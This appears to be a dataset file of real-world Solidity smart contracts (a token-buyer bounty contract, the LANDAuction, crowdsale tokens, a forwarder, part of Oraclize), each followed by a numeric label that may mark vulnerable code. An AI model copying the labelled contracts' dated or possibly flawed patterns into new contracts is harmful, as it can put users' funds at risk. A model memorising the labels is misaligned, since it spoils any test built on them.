uint256 claimed_bounty = buy_bounty;
buy_bounty = 0;
kill_switch = true;
msg.sender.transfer(claimed_bounty);
}
function withdraw(address user, address _token){
require(msg.sender == user);
require(bought_tokens || now > earliest_buy_time + 1 hours);
if (balances[user] == 0) return;
if (!bought_tokens) {
uint256 eth_to_withdraw = balances[user];
balances[user] = 0;
user.transfer(eth_to_withdraw);
}
else {
token = ERC20(_token);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[user];
balances[user] = 0;
require(token.transfer(user, tokens_to_withdraw));
}
uint256 claimed_bounty = withdraw_bounty / 100;
withdraw_bounty -= claimed_bounty;
msg.sender.transfer(claimed_bounty);
}
function add_to_buy_bounty() payable {
require(msg.sender == developer);
buy_bounty += msg.value;
}
function add_to_withdraw_bounty() payable {
require(msg.sender == developer);
withdraw_bounty += msg.value;
}
function claim_bounty(){
if (this.balance < eth_minimum) return;
if (bought_tokens) return;
if (now < earliest_buy_time) return;
if (kill_switch) return;
require(sale != 0x0);
bought_tokens = true;
uint256 claimed_bounty = buy_bounty;
buy_bounty = 0;
contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty);
require(sale.call.value(contract_eth_value)());
msg.sender.transfer(claimed_bounty);
}
function () payable {
require(!kill_switch);
require(!bought_tokens);
require(this.balance < eth_cap);
balances[msg.sender] += msg.value;
}
} | 1 | 3,942 |
pragma solidity ^0.4.24;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
function isConstructor() private view returns (bool) {
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function initialize(address sender) public initializer {
_owner = sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeTransfer {
function safeTransfer(IERC20 _token, address _to, uint256 _value) internal returns (bool) {
uint256 prevBalance = _token.balanceOf(address(this));
require(prevBalance >= _value, "Insufficient funds");
_token.transfer(_to, _value);
require(prevBalance - _value == _token.balanceOf(address(this)), "Transfer failed");
return true;
}
function safeTransferFrom(
IERC20 _token,
address _from,
address _to,
uint256 _value
) internal returns (bool)
{
uint256 prevBalance = _token.balanceOf(_from);
require(prevBalance >= _value, "Insufficient funds");
require(_token.allowance(_from, address(this)) >= _value, "Insufficient allowance");
_token.transferFrom(_from, _to, _value);
require(prevBalance - _value == _token.balanceOf(_from), "Transfer failed");
return true;
}
}
contract ITokenConverter {
using SafeMath for uint256;
function convert(
IERC20 _srcToken,
IERC20 _destToken,
uint256 _srcAmount,
uint256 _destAmount
) external returns (uint256);
function getExpectedRate(IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount)
public view returns(uint256 expectedRate, uint256 slippageRate);
}
contract ERC20 is IERC20 {
function burn(uint256 _value) public;
}
contract LANDRegistry {
function assignMultipleParcels(int[] x, int[] y, address beneficiary) external;
}
contract LANDAuctionStorage {
uint256 constant public PERCENTAGE_OF_TOKEN_BALANCE = 5;
uint256 constant public MAX_DECIMALS = 18;
enum Status { created, finished }
struct Func {
uint256 slope;
uint256 base;
uint256 limit;
}
struct Token {
uint256 decimals;
bool shouldBurnTokens;
bool shouldForwardTokens;
address forwardTarget;
bool isAllowed;
}
uint256 public conversionFee = 105;
uint256 public totalBids = 0;
Status public status;
uint256 public gasPriceLimit;
uint256 public landsLimitPerBid;
ERC20 public manaToken;
LANDRegistry public landRegistry;
ITokenConverter public dex;
mapping (address => Token) public tokensAllowed;
uint256 public totalManaBurned = 0;
uint256 public totalLandsBidded = 0;
uint256 public startTime;
uint256 public endTime;
Func[] internal curves;
uint256 internal initialPrice;
uint256 internal endPrice;
uint256 internal duration;
event AuctionCreated(
address indexed _caller,
uint256 _startTime,
uint256 _duration,
uint256 _initialPrice,
uint256 _endPrice
);
event BidConversion(
uint256 _bidId,
address indexed _token,
uint256 _requiredManaAmountToBurn,
uint256 _amountOfTokenConverted,
uint256 _requiredTokenBalance
);
event BidSuccessful(
uint256 _bidId,
address indexed _beneficiary,
address indexed _token,
uint256 _pricePerLandInMana,
uint256 _manaAmountToBurn,
int[] _xs,
int[] _ys
);
event AuctionFinished(
address indexed _caller,
uint256 _time,
uint256 _pricePerLandInMana
);
event TokenBurned(
uint256 _bidId,
address indexed _token,
uint256 _total
);
event TokenTransferred(
uint256 _bidId,
address indexed _token,
address indexed _to,
uint256 _total
);
event LandsLimitPerBidChanged(
address indexed _caller,
uint256 _oldLandsLimitPerBid,
uint256 _landsLimitPerBid
);
event GasPriceLimitChanged(
address indexed _caller,
uint256 _oldGasPriceLimit,
uint256 _gasPriceLimit
);
event DexChanged(
address indexed _caller,
address indexed _oldDex,
address indexed _dex
);
event TokenAllowed(
address indexed _caller,
address indexed _address,
uint256 _decimals,
bool _shouldBurnTokens,
bool _shouldForwardTokens,
address indexed _forwardTarget
);
event TokenDisabled(
address indexed _caller,
address indexed _address
);
event ConversionFeeChanged(
address indexed _caller,
uint256 _oldConversionFee,
uint256 _conversionFee
);
}
contract LANDAuction is Ownable, LANDAuctionStorage {
using SafeMath for uint256;
using Address for address;
using SafeTransfer for ERC20;
constructor(
uint256[] _xPoints,
uint256[] _yPoints,
uint256 _startTime,
uint256 _landsLimitPerBid,
uint256 _gasPriceLimit,
ERC20 _manaToken,
LANDRegistry _landRegistry,
address _dex
) public {
require(
PERCENTAGE_OF_TOKEN_BALANCE == 5,
"Balance of tokens required should be equal to 5%"
);
Ownable.initialize(msg.sender);
require(_startTime > block.timestamp, "Started time should be after now");
startTime = _startTime;
require(
address(_landRegistry).isContract(),
"The LANDRegistry token address must be a deployed contract"
);
landRegistry = _landRegistry;
setDex(_dex);
allowToken(
address(_manaToken),
18,
true,
false,
address(0)
);
manaToken = _manaToken;
duration = _xPoints[_xPoints.length - 1];
require(duration > 1 days, "The duration should be greater than 1 day");
_setCurve(_xPoints, _yPoints);
setLandsLimitPerBid(_landsLimitPerBid);
setGasPriceLimit(_gasPriceLimit);
status = Status.created;
emit AuctionCreated(
msg.sender,
startTime,
duration,
initialPrice,
endPrice
);
}
function bid(
int[] _xs,
int[] _ys,
address _beneficiary,
ERC20 _fromToken
)
external
{
_validateBidParameters(
_xs,
_ys,
_beneficiary,
_fromToken
);
uint256 bidId = _getBidId();
uint256 bidPriceInMana = _xs.length.mul(getCurrentPrice());
uint256 manaAmountToBurn = bidPriceInMana;
if (address(_fromToken) != address(manaToken)) {
require(
address(dex).isContract(),
"Paying with other tokens has been disabled"
);
manaAmountToBurn = _convertSafe(bidId, _fromToken, bidPriceInMana);
} else {
require(
_fromToken.safeTransferFrom(msg.sender, address(this), bidPriceInMana),
"Insuficient balance or unauthorized amount (transferFrom failed)"
);
}
_processFunds(bidId, _fromToken);
landRegistry.assignMultipleParcels(_xs, _ys, _beneficiary);
emit BidSuccessful(
bidId,
_beneficiary,
_fromToken,
getCurrentPrice(),
manaAmountToBurn,
_xs,
_ys
);
_updateStats(_xs.length, manaAmountToBurn);
}
function _validateBidParameters(
int[] _xs,
int[] _ys,
address _beneficiary,
ERC20 _fromToken
) internal view
{
require(startTime <= block.timestamp, "The auction has not started");
require(
status == Status.created &&
block.timestamp.sub(startTime) <= duration,
"The auction has finished"
);
require(tx.gasprice <= gasPriceLimit, "Gas price limit exceeded");
require(_beneficiary != address(0), "The beneficiary could not be the 0 address");
require(_xs.length > 0, "You should bid for at least one LAND");
require(_xs.length <= landsLimitPerBid, "LAND limit exceeded");
require(_xs.length == _ys.length, "X values length should be equal to Y values length");
require(tokensAllowed[address(_fromToken)].isAllowed, "Token not allowed");
for (uint256 i = 0; i < _xs.length; i++) {
require(
-150 <= _xs[i] && _xs[i] <= 150 && -150 <= _ys[i] && _ys[i] <= 150,
"The coordinates should be inside bounds -150 & 150"
);
}
}
function getCurrentPrice() public view returns (uint256) {
if (startTime == 0 || startTime >= block.timestamp) {
return initialPrice;
}
uint256 timePassed = block.timestamp - startTime;
if (timePassed >= duration) {
return endPrice;
}
return _getPrice(timePassed);
}
function _convertSafe(
uint256 _bidId,
ERC20 _fromToken,
uint256 _bidPriceInMana
) internal returns (uint256 requiredManaAmountToBurn)
{
requiredManaAmountToBurn = _bidPriceInMana;
Token memory fromToken = tokensAllowed[address(_fromToken)];
uint256 bidPriceInManaPlusSafetyMargin = _bidPriceInMana.mul(conversionFee).div(100);
uint256 tokenRate = getRate(manaToken, _fromToken, bidPriceInManaPlusSafetyMargin);
uint256 requiredTokenBalance = 0;
if (fromToken.shouldBurnTokens || fromToken.shouldForwardTokens) {
requiredTokenBalance = _calculateRequiredTokenBalance(requiredManaAmountToBurn, tokenRate);
requiredManaAmountToBurn = _calculateRequiredManaAmount(_bidPriceInMana);
}
uint256 tokensToConvertPlusSafetyMargin = bidPriceInManaPlusSafetyMargin
.mul(tokenRate)
.div(10 ** 18);
if (MAX_DECIMALS > fromToken.decimals) {
requiredTokenBalance = _normalizeDecimals(
fromToken.decimals,
requiredTokenBalance
);
tokensToConvertPlusSafetyMargin = _normalizeDecimals(
fromToken.decimals,
tokensToConvertPlusSafetyMargin
);
}
require(
_fromToken.safeTransferFrom(msg.sender, address(this), tokensToConvertPlusSafetyMargin),
"Transfering the totalPrice in token to LANDAuction contract failed"
);
uint256 finalTokensToConvert = tokensToConvertPlusSafetyMargin.sub(requiredTokenBalance);
require(_fromToken.approve(address(dex), finalTokensToConvert), "Error approve");
uint256 change = dex.convert(
_fromToken,
manaToken,
finalTokensToConvert,
requiredManaAmountToBurn
);
if (change > 0) {
require(
_fromToken.safeTransfer(msg.sender, change),
"Transfering the change to sender failed"
);
}
require(_fromToken.approve(address(dex), 0), "Error remove approval");
emit BidConversion(
_bidId,
address(_fromToken),
requiredManaAmountToBurn,
tokensToConvertPlusSafetyMargin.sub(change),
requiredTokenBalance
);
}
function getRate(
IERC20 _srcToken,
IERC20 _destToken,
uint256 _srcAmount
) public view returns (uint256 rate)
{
(rate,) = dex.getExpectedRate(_srcToken, _destToken, _srcAmount);
}
function _calculateRequiredTokenBalance(
uint256 _totalPrice,
uint256 _tokenRate
)
internal pure returns (uint256)
{
return _totalPrice.mul(_tokenRate)
.div(10 ** 18)
.mul(PERCENTAGE_OF_TOKEN_BALANCE)
.div(100);
}
function _calculateRequiredManaAmount(
uint256 _totalPrice
)
internal pure returns (uint256)
{
return _totalPrice.mul(100 - PERCENTAGE_OF_TOKEN_BALANCE).div(100);
}
function _processFunds(uint256 _bidId, ERC20 _token) internal {
_burnTokens(_bidId, manaToken);
Token memory token = tokensAllowed[address(_token)];
if (_token != manaToken) {
if (token.shouldBurnTokens) {
_burnTokens(_bidId, _token);
}
if (token.shouldForwardTokens) {
_forwardTokens(_bidId, token.forwardTarget, _token);
}
}
}
function _getPrice(uint256 _time) internal view returns (uint256) {
for (uint256 i = 0; i < curves.length; i++) {
Func storage func = curves[i];
if (_time < func.limit) {
return func.base.sub(func.slope.mul(_time));
}
}
revert("Invalid time");
}
function _burnTokens(uint256 _bidId, ERC20 _token) private {
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "Balance to burn should be > 0");
_token.burn(balance);
emit TokenBurned(_bidId, address(_token), balance);
balance = _token.balanceOf(address(this));
require(balance == 0, "Burn token failed");
}
function _forwardTokens(uint256 _bidId, address _address, ERC20 _token) private {
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "Balance to burn should be > 0");
_token.safeTransfer(_address, balance);
emit TokenTransferred(
_bidId,
address(_token),
_address,balance
);
balance = _token.balanceOf(address(this));
require(balance == 0, "Transfer token failed");
}
function setConversionFee(uint256 _fee) external onlyOwner {
require(_fee < 200 && _fee >= 100, "Conversion fee should be >= 100 and < 200");
emit ConversionFeeChanged(msg.sender, conversionFee, _fee);
conversionFee = _fee;
}
function finishAuction() public onlyOwner {
require(status != Status.finished, "The auction is finished");
uint256 currentPrice = getCurrentPrice();
status = Status.finished;
endTime = block.timestamp;
emit AuctionFinished(msg.sender, block.timestamp, currentPrice);
}
function setLandsLimitPerBid(uint256 _landsLimitPerBid) public onlyOwner {
require(_landsLimitPerBid > 0, "The LAND limit should be greater than 0");
emit LandsLimitPerBidChanged(msg.sender, landsLimitPerBid, _landsLimitPerBid);
landsLimitPerBid = _landsLimitPerBid;
}
function setGasPriceLimit(uint256 _gasPriceLimit) public onlyOwner {
require(_gasPriceLimit > 0, "The gas price should be greater than 0");
emit GasPriceLimitChanged(msg.sender, gasPriceLimit, _gasPriceLimit);
gasPriceLimit = _gasPriceLimit;
}
function setDex(address _dex) public onlyOwner {
require(_dex != address(dex), "The dex is the current");
if (_dex != address(0)) {
require(_dex.isContract(), "The dex address must be a deployed contract");
}
emit DexChanged(msg.sender, dex, _dex);
dex = ITokenConverter(_dex);
}
function allowToken(
address _address,
uint256 _decimals,
bool _shouldBurnTokens,
bool _shouldForwardTokens,
address _forwardTarget
)
public onlyOwner
{
require(
_address.isContract(),
"Tokens allowed should be a deployed ERC20 contract"
);
require(
_decimals > 0 && _decimals <= MAX_DECIMALS,
"Decimals should be greather than 0 and less or equal to 18"
);
require(
!(_shouldBurnTokens && _shouldForwardTokens),
"The token should be either burned or transferred"
);
require(
!_shouldForwardTokens ||
(_shouldForwardTokens && _forwardTarget.isContract()),
"The token should be transferred to a deployed contract"
);
require(
_forwardTarget != address(this) && _forwardTarget != _address,
"The forward target should be different from this contract and the erc20 token"
);
require(!tokensAllowed[_address].isAllowed, "The ERC20 token is already allowed");
tokensAllowed[_address] = Token({
decimals: _decimals,
shouldBurnTokens: _shouldBurnTokens,
shouldForwardTokens: _shouldForwardTokens,
forwardTarget: _forwardTarget,
isAllowed: true
});
emit TokenAllowed(
msg.sender,
_address,
_decimals,
_shouldBurnTokens,
_shouldForwardTokens,
_forwardTarget
);
}
function disableToken(address _address) public onlyOwner {
require(
tokensAllowed[_address].isAllowed,
"The ERC20 token is already disabled"
);
delete tokensAllowed[_address];
emit TokenDisabled(msg.sender, _address);
}
function _setCurve(uint256[] _xPoints, uint256[] _yPoints) internal {
uint256 pointsLength = _xPoints.length;
require(pointsLength == _yPoints.length, "Points should have the same length");
for (uint256 i = 0; i < pointsLength - 1; i++) {
uint256 x1 = _xPoints[i];
uint256 x2 = _xPoints[i + 1];
uint256 y1 = _yPoints[i];
uint256 y2 = _yPoints[i + 1];
require(x1 < x2, "X points should increase");
require(y1 > y2, "Y points should decrease");
(uint256 base, uint256 slope) = _getFunc(
x1,
x2,
y1,
y2
);
curves.push(Func({
base: base,
slope: slope,
limit: x2
}));
}
initialPrice = _yPoints[0];
endPrice = _yPoints[pointsLength - 1];
}
function _getFunc(
uint256 _x1,
uint256 _x2,
uint256 _y1,
uint256 _y2
) internal pure returns (uint256 base, uint256 slope)
{
base = ((_x2.mul(_y1)).sub(_x1.mul(_y2))).div(_x2.sub(_x1));
slope = (_y1.sub(_y2)).div(_x2.sub(_x1));
}
function _getBidId() private view returns (uint256) {
return totalBids;
}
function _normalizeDecimals(
uint256 _decimals,
uint256 _value
)
internal pure returns (uint256 _result)
{
_result = _value.div(10**MAX_DECIMALS.sub(_decimals));
}
function _updateStats(uint256 _landsBidded, uint256 _manaAmountBurned) private {
totalBids = totalBids.add(1);
totalLandsBidded = totalLandsBidded.add(_landsBidded);
totalManaBurned = totalManaBurned.add(_manaAmountBurned);
}
} | 1 | 3,260 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
} | 1 | 5,099 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale()
{
beneficiary = 0x9F73Cc683f06061510908b0C80A27cF63f3E75c9;
fundingGoal = 1 * 1 ether;
deadline = now + 1 * 1 days;
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 2,826 |
pragma solidity ^0.4.24;
contract PassiveForwarder {
address public recipient;
event Received(address indexed sender, uint256 value);
constructor(address _recipient) public {
recipient = _recipient;
}
function () public payable {
require(msg.value > 0);
emit Received(msg.sender, msg.value);
}
function sweep() public {
recipient.transfer(address(this).balance);
}
function externalCall(address destination, uint256 value, bytes data) public returns (bool) {
require(msg.sender == recipient, "Sender must be the recipient.");
uint256 dataLength = data.length;
bool result;
assembly {
let x := mload(0x40)
let d := add(data, 32)
result := call(
sub(gas, 34710),
destination,
value,
d,
dataLength,
x,
0
)
}
return result;
}
} | 0 | 2,233 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns (bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60 * 60 * 24;
uint constant week = 60 * 60 * 24 * 7;
uint constant month = 60 * 60 * 24 * 30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if ((address(OAR) == 0) || (getCodeSize(address(OAR)) == 0))
oraclize_setNetwork(networkID_auto);
if (address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns (bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns (bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) {
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) {
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) {
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) {
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) {
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) {
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) {
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
